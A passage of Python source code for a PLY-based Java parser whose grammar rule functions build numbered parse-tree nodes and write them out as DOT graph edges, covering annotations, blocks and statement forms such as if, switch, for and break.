for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ElementValuePair(p):\n '''ElementValuePair : Identifier EQUAL ElementValue'''\n global ElementValuePair_counter\n p[0] = \"ElementValuePair_{%d}\" % (ElementValuePair_counter)\n ElementValuePair_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ElementValue(p):\n '''ElementValue : ConditionalExpression\n | ElementValueArrayInitializer\n | Annotation '''\n global ElementValue_counter\n p[0] = \"ElementValue_{%d}\" % (ElementValue_counter)\n ElementValue_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ElementValueArrayInitializer(p):\n '''ElementValueArrayInitializer : LBRACES ElementValueList COMMA RBRACES\n | LBRACES ElementValueList RBRACES\n | LBRACES COMMA RBRACES\n | LBRACES RBRACES '''\n global ElementValueArrayInitializer_counter\n p[0] = \"ElementValueArrayInitializer_{%d}\" % (ElementValueArrayInitializer_counter)\n ElementValueArrayInitializer_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ElementValueList(p):\n '''ElementValueList : ElementValue COMMA ElementValueList\n | ElementValue'''\n global ElementValueList_counter\n p[0] = \"ElementValueList_{%d}\" % (ElementValueList_counter)\n ElementValueList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MarkerAnnotation(p):\n '''MarkerAnnotation : AT TypeName \n | AT Identifier '''\n global MarkerAnnotation_counter\n p[0] = \"MarkerAnnotation_{%d}\" % (MarkerAnnotation_counter)\n MarkerAnnotation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SingleElementAnnotation(p):\n '''SingleElementAnnotation : AT TypeName LPAREN ElementValue RPAREN\n | AT Identifier LPAREN ElementValue RPAREN'''\n global SingleElementAnnotation_counter\n p[0] = \"SingleElementAnnotation_{%d}\" % (SingleElementAnnotation_counter)\n SingleElementAnnotation_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n################################################################################\n\ndef p_ArrayInitializer(p):\n '''ArrayInitializer : LBRACES VariableInitializerList COMMA RBRACES\n | LBRACES VariableInitializerList RBRACES\n | LBRACES COMMA RBRACES\n | LBRACES RBRACES\n '''\n global ArrayInitializer_counter\n p[0] = \"ArrayInitializer_{%d}\" % (ArrayInitializer_counter)\n ArrayInitializer_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_VariableInitializerList(p):\n '''VariableInitializerList : VariableInitializer COMMA VariableInitializerList\n | VariableInitializer'''\n global VariableInitializerList_counter\n p[0] = \"VariableInitializerList_{%d}\" % (VariableInitializerList_counter)\n VariableInitializerList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n################################################################################\n\ndef p_Block(p):\n '''Block : LBRACES BlockStatements RBRACES\n | LBRACES RBRACES '''\n global Block_counter\n p[0] = \"Block_{%d}\" % (Block_counter)\n Block_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_BlockStatements(p):\n '''BlockStatements : MultBlockStatement'''\n global BlockStatements_counter\n p[0] = \"BlockStatements_{%d}\" % (BlockStatements_counter)\n BlockStatements_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_MultBlockStatement(p):\n '''MultBlockStatement : BlockStatement MultBlockStatement\n | BlockStatement'''\n global MultBlockStatement_counter\n p[0] = \"MultBlockStatement_{%d}\" % (MultBlockStatement_counter)\n MultBlockStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_BlockStatement(p):\n '''BlockStatement : LocalVariableDeclarationStatement\n | ClassDeclaration\n | Statement'''\n global BlockStatement_counter\n p[0] = \"BlockStatement_{%d}\" % (BlockStatement_counter)\n BlockStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_LocalVariableDeclarationStatement(p):\n '''LocalVariableDeclarationStatement : LocalVariableDeclaration SEMICOLON '''\n global LocalVariableDeclarationStatement_counter\n p[0] = \"LocalVariableDeclarationStatement_{%d}\" % (LocalVariableDeclarationStatement_counter)\n LocalVariableDeclarationStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_LocalVariableDeclaration(p):\n '''LocalVariableDeclaration : ModifierList Type VariableDeclaratorList\n | ModifierList Type Identifier\n | Type VariableDeclaratorList\n | Type Identifier\n | ModifierList Identifier VariableDeclaratorList\n | ModifierList Identifier Identifier\n | Identifier VariableDeclaratorList\n | Identifier Identifier'''\n global LocalVariableDeclaration_counter\n p[0] = \"LocalVariableDeclaration_{%d}\" % (LocalVariableDeclaration_counter)\n LocalVariableDeclaration_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_Statement(p):\n '''Statement : StatementWithoutTrailingSubstatement\n | LabeledStatement\n | IfThenStatement\n | IfThenElseStatement\n | WhileStatement\n | ForStatement'''\n global Statement_counter\n p[0] = \"Statement_{%d}\" % (Statement_counter)\n Statement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_StatementNoShortIf(p):\n '''StatementNoShortIf : StatementWithoutTrailingSubstatement\n | LabeledStatementNoShortIf\n | IfThenElseStatementNoShortIf\n | WhileStatementNoShortIf\n | ForStatementNoShortIf'''\n global StatementNoShortIf_counter\n p[0] = \"StatementNoShortIf_{%d}\" % (StatementNoShortIf_counter)\n StatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_StatementWithoutTrailingSubstatement(p):\n '''StatementWithoutTrailingSubstatement : Block\n | EmptyStatement\n | ExpressionStatement\n | AssertStatement\n | SwitchStatement\n | DoStatement\n | BreakStatement\n | ContinueStatement\n | ReturnStatement\n | SynchronizedStatement\n | ThrowStatement\n | TryStatement'''\n global StatementWithoutTrailingSubstatement_counter\n p[0] = \"StatementWithoutTrailingSubstatement_{%d}\" % (StatementWithoutTrailingSubstatement_counter)\n StatementWithoutTrailingSubstatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_EmptyStatement(p):\n '''EmptyStatement : SEMICOLON'''\n global EmptyStatement_counter\n p[0] = \"EmptyStatement_{%d}\" % (EmptyStatement_counter)\n EmptyStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_LabeledStatement(p):\n '''LabeledStatement : Identifier COLON Statement '''\n global LabeledStatement_counter\n p[0] = \"LabeledStatement_{%d}\" % (LabeledStatement_counter)\n LabeledStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_LabeledStatementNoShortIf(p):\n '''LabeledStatementNoShortIf : Identifier COLON StatementNoShortIf '''\n global LabeledStatementNoShortIf_counter\n p[0] = \"LabeledStatementNoShortIf_{%d}\" % (LabeledStatementNoShortIf_counter)\n LabeledStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ExpressionStatement(p):\n '''ExpressionStatement : StatementExpression SEMICOLON '''\n global ExpressionStatement_counter\n p[0] = \"ExpressionStatement_{%d}\" % (ExpressionStatement_counter)\n ExpressionStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_StatementExpression(p):\n '''StatementExpression : Assignment\n | PLUSPLUS UnaryExpression\n | MINUSMINUS UnaryExpression\n | PostIncrementExpression\n | PostDecrementExpression\n | MethodInvocation\n | ClassInstanceCreationExpression'''\n global StatementExpression_counter\n p[0] = \"StatementExpression_{%d}\" % (StatementExpression_counter)\n StatementExpression_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_IfThenStatement(p):\n '''IfThenStatement : IF LPAREN Expression RPAREN Statement'''\n global IfThenStatement_counter\n p[0] = \"IfThenStatement_{%d}\" % (IfThenStatement_counter)\n IfThenStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\ndef p_IfThenElseStatement(p):\n '''IfThenElseStatement : IF LPAREN Expression RPAREN StatementNoShortIf ELSE Statement '''\n global IfThenElseStatement_counter\n p[0] = \"IfThenElseStatement_{%d}\" % (IfThenElseStatement_counter)\n IfThenElseStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_IfThenElseStatementNoShortIf(p):\n '''IfThenElseStatementNoShortIf : IF LPAREN Expression RPAREN StatementNoShortIf ELSE StatementNoShortIf '''\n global IfThenElseStatementNoShortIf_counter\n p[0] = \"IfThenElseStatementNoShortIf_{%d}\" % (IfThenElseStatementNoShortIf_counter)\n IfThenElseStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_AssertStatement(p):\n '''AssertStatement : ASSERT Expression SEMICOLON\n | ASSERT Expression COLON Expression SEMICOLON'''\n global AssertStatement_counter\n p[0] = \"AssertStatement_{%d}\" % (AssertStatement_counter)\n AssertStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SwitchStatement(p):\n '''SwitchStatement : SWITCH LPAREN Expression RPAREN SwitchBlock '''\n global SwitchStatement_counter\n p[0] = \"SwitchStatement_{%d}\" % (SwitchStatement_counter)\n SwitchStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SwitchBlock(p):\n '''SwitchBlock : LBRACES MultSwitchBlockStatementGroup MultSwitchLabel RBRACES\n | LBRACES MultSwitchBlockStatementGroup RBRACES\n | LBRACES MultSwitchLabel RBRACES\n | LBRACES RBRACES '''\n global SwitchBlock_counter\n p[0] = \"SwitchBlock_{%d}\" % (SwitchBlock_counter)\n SwitchBlock_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_MultSwitchBlockStatementGroup(p):\n '''MultSwitchBlockStatementGroup : SwitchBlockStatementGroup MultSwitchBlockStatementGroup\n | SwitchBlockStatementGroup'''\n global MultSwitchBlockStatementGroup_counter\n p[0] = \"MultSwitchBlockStatementGroup_{%d}\" % (MultSwitchBlockStatementGroup_counter)\n MultSwitchBlockStatementGroup_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SwitchBlockStatementGroup(p):\n '''SwitchBlockStatementGroup : MultSwitchLabel BlockStatements'''\n global SwitchBlockStatementGroup_counter\n p[0] = \"SwitchBlockStatementGroup_{%d}\" % (SwitchBlockStatementGroup_counter)\n SwitchBlockStatementGroup_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\ndef p_MultSwitchLabel(p):\n '''MultSwitchLabel : SwitchLabel MultSwitchLabel\n | SwitchLabel'''\n global MultSwitchLabel_counter\n p[0] = \"MultSwitchLabel_{%d}\" % (MultSwitchLabel_counter)\n MultSwitchLabel_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SwitchLabel(p):\n '''SwitchLabel : CASE Expression COLON\n | CASE Identifier COLON\n | DEFAULT COLON'''\n global SwitchLabel_counter\n p[0] = \"SwitchLabel_{%d}\" % (SwitchLabel_counter)\n SwitchLabel_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_WhileStatement(p):\n '''WhileStatement : WHILE LPAREN Expression RPAREN Statement '''\n global WhileStatement_counter\n p[0] = \"WhileStatement_{%d}\" % (WhileStatement_counter)\n WhileStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_WhileStatementNoShortIf(p):\n '''WhileStatementNoShortIf : WHILE LPAREN Expression RPAREN StatementNoShortIf'''\n global WhileStatementNoShortIf_counter\n p[0] = \"WhileStatementNoShortIf_{%d}\" % (WhileStatementNoShortIf_counter)\n WhileStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_DoStatement(p):\n '''DoStatement : DO Statement WHILE LPAREN Expression RPAREN SEMICOLON'''\n global DoStatement_counter\n p[0] = \"DoStatement_{%d}\" % (DoStatement_counter)\n DoStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ForStatement(p):\n '''ForStatement : BasicForStatement\n | EnhancedForStatement'''\n global ForStatement_counter\n p[0] = \"ForStatement_{%d}\" % (ForStatement_counter)\n ForStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ForStatementNoShortIf(p):\n '''ForStatementNoShortIf : BasicForStatementNoShortIf\n | EnhancedForStatementNoShortIf '''\n global ForStatementNoShortIf_counter\n p[0] = \"ForStatementNoShortIf_{%d}\" % (ForStatementNoShortIf_counter)\n ForStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_BasicForStatement(p):\n '''BasicForStatement : FOR LPAREN ForInit SEMICOLON Expression SEMICOLON ForUpdate RPAREN Statement\n | FOR LPAREN ForInit SEMICOLON Expression SEMICOLON RPAREN Statement\n | FOR LPAREN ForInit SEMICOLON SEMICOLON ForUpdate RPAREN Statement\n | FOR LPAREN SEMICOLON Expression SEMICOLON ForUpdate RPAREN Statement\n | FOR LPAREN SEMICOLON SEMICOLON ForUpdate RPAREN Statement\n | FOR LPAREN SEMICOLON Expression SEMICOLON RPAREN Statement\n | FOR LPAREN ForInit SEMICOLON SEMICOLON RPAREN Statement\n | FOR LPAREN SEMICOLON SEMICOLON RPAREN Statement\n '''\n global BasicForStatement_counter\n p[0] = \"BasicForStatement_{%d}\" % (BasicForStatement_counter)\n BasicForStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_BasicForStatementNoShortIf(p):\n '''BasicForStatementNoShortIf : FOR LPAREN ForInit SEMICOLON Expression SEMICOLON ForUpdate RPAREN StatementNoShortIf\n | FOR LPAREN ForInit SEMICOLON Expression SEMICOLON RPAREN StatementNoShortIf\n | FOR LPAREN ForInit SEMICOLON SEMICOLON ForUpdate RPAREN StatementNoShortIf\n | FOR LPAREN SEMICOLON Expression SEMICOLON ForUpdate RPAREN StatementNoShortIf\n | FOR LPAREN SEMICOLON SEMICOLON ForUpdate RPAREN StatementNoShortIf\n | FOR LPAREN SEMICOLON Expression SEMICOLON RPAREN StatementNoShortIf\n | FOR LPAREN ForInit SEMICOLON SEMICOLON RPAREN StatementNoShortIf\n | FOR LPAREN SEMICOLON SEMICOLON RPAREN StatementNoShortIf'''\n global BasicForStatementNoShortIf_counter\n p[0] = \"BasicForStatementNoShortIf_{%d}\" % (BasicForStatementNoShortIf_counter)\n BasicForStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ForInit(p):\n '''ForInit : StatementExpressionList\n | LocalVariableDeclaration'''\n global ForInit_counter\n p[0] = \"ForInit_{%d}\" % (ForInit_counter)\n ForInit_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ForUpdate(p):\n '''ForUpdate : StatementExpressionList'''\n global ForUpdate_counter\n p[0] = \"ForUpdate_{%d}\" % (ForUpdate_counter)\n ForUpdate_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_StatementExpressionList(p):\n '''StatementExpressionList : StatementExpression COMMA StatementExpressionList\n | StatementExpression'''\n global StatementExpressionList_counter\n p[0] = \"StatementExpressionList_{%d}\" % (StatementExpressionList_counter)\n StatementExpressionList_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_EnhancedForStatement(p):\n '''EnhancedForStatement : FOR LPAREN ModifierList Type VariableDeclaratorId COLON Expression RPAREN Statement\n | FOR LPAREN ModifierList Type Identifier COLON Expression RPAREN Statement\n | FOR LPAREN Type VariableDeclaratorId COLON Expression RPAREN Statement\n | FOR LPAREN Type Identifier COLON Expression RPAREN Statement\n | FOR LPAREN ModifierList Identifier VariableDeclaratorId COLON Expression RPAREN Statement\n | FOR LPAREN ModifierList Identifier Identifier COLON Expression RPAREN Statement\n | FOR LPAREN Identifier VariableDeclaratorId COLON Expression RPAREN Statement\n | FOR LPAREN Identifier Identifier COLON Expression RPAREN Statement'''\n global EnhancedForStatement_counter\n p[0] = \"EnhancedForStatement_{%d}\" % (EnhancedForStatement_counter)\n EnhancedForStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\n\n#Added Type <--> Identifier to remove ClassType->Identifier\ndef p_EnhancedForStatementNoShortIf(p):\n '''EnhancedForStatementNoShortIf : FOR LPAREN ModifierList Type VariableDeclaratorId COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN ModifierList Type Identifier COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN Type VariableDeclaratorId COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN Type Identifier COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN ModifierList Identifier VariableDeclaratorId COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN ModifierList Identifier Identifier COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN Identifier VariableDeclaratorId COLON Expression RPAREN StatementNoShortIf\n | FOR LPAREN Identifier Identifier COLON Expression RPAREN StatementNoShortIf'''\n global EnhancedForStatementNoShortIf_counter\n p[0] = \"EnhancedForStatementNoShortIf_{%d}\" % (EnhancedForStatementNoShortIf_counter)\n EnhancedForStatementNoShortIf_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_BreakStatement(p):\n '''BreakStatement : BREAK Identifier SEMICOLON\n | BREAK SEMICOLON'''\n global BreakStatement_counter\n p[0] = \"BreakStatement_{%d}\" % (BreakStatement_counter)\n BreakStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ContinueStatement(p):\n '''ContinueStatement : CONTINUE Identifier SEMICOLON\n | CONTINUE SEMICOLON '''\n global ContinueStatement_counter\n p[0] = \"ContinueStatement_{%d}\" % (ContinueStatement_counter)\n ContinueStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ReturnStatement(p):\n '''ReturnStatement : RETURN Expression SEMICOLON\n | RETURN SEMICOLON'''\n global ReturnStatement_counter\n p[0] = \"ReturnStatement_{%d}\" % (ReturnStatement_counter)\n ReturnStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_ThrowStatement(p):\n '''ThrowStatement : THROW Expression SEMICOLON '''\n global ThrowStatement_counter\n p[0] = \"ThrowStatement_{%d}\" % (ThrowStatement_counter)\n ThrowStatement_counter+=1\n for i in range(1, len(p)):\n if (p[i] is not None):\n if (p[i].lower() in keywords.keys()):\n f.write('\"%s\" -> \"%s [%s]\"\\n' % (p[0], p[i], keywords[p[i].lower()]))\n else:\n f.write('\"%s\" -> \"%s\"\\n' % (p[0], p[i]))\n\n\n\ndef p_SynchronizedStatement(p):\n '''SynchronizedStatement : SYNCHRONIZED LPAREN Expression RPAREN Block '''\n global SynchronizedStatement_counter\n p[0] = \"SynchronizedStatement_{%d}\" % (SynchronizedStatement_counter)\n SynchronizedStatement_counter+=1\n 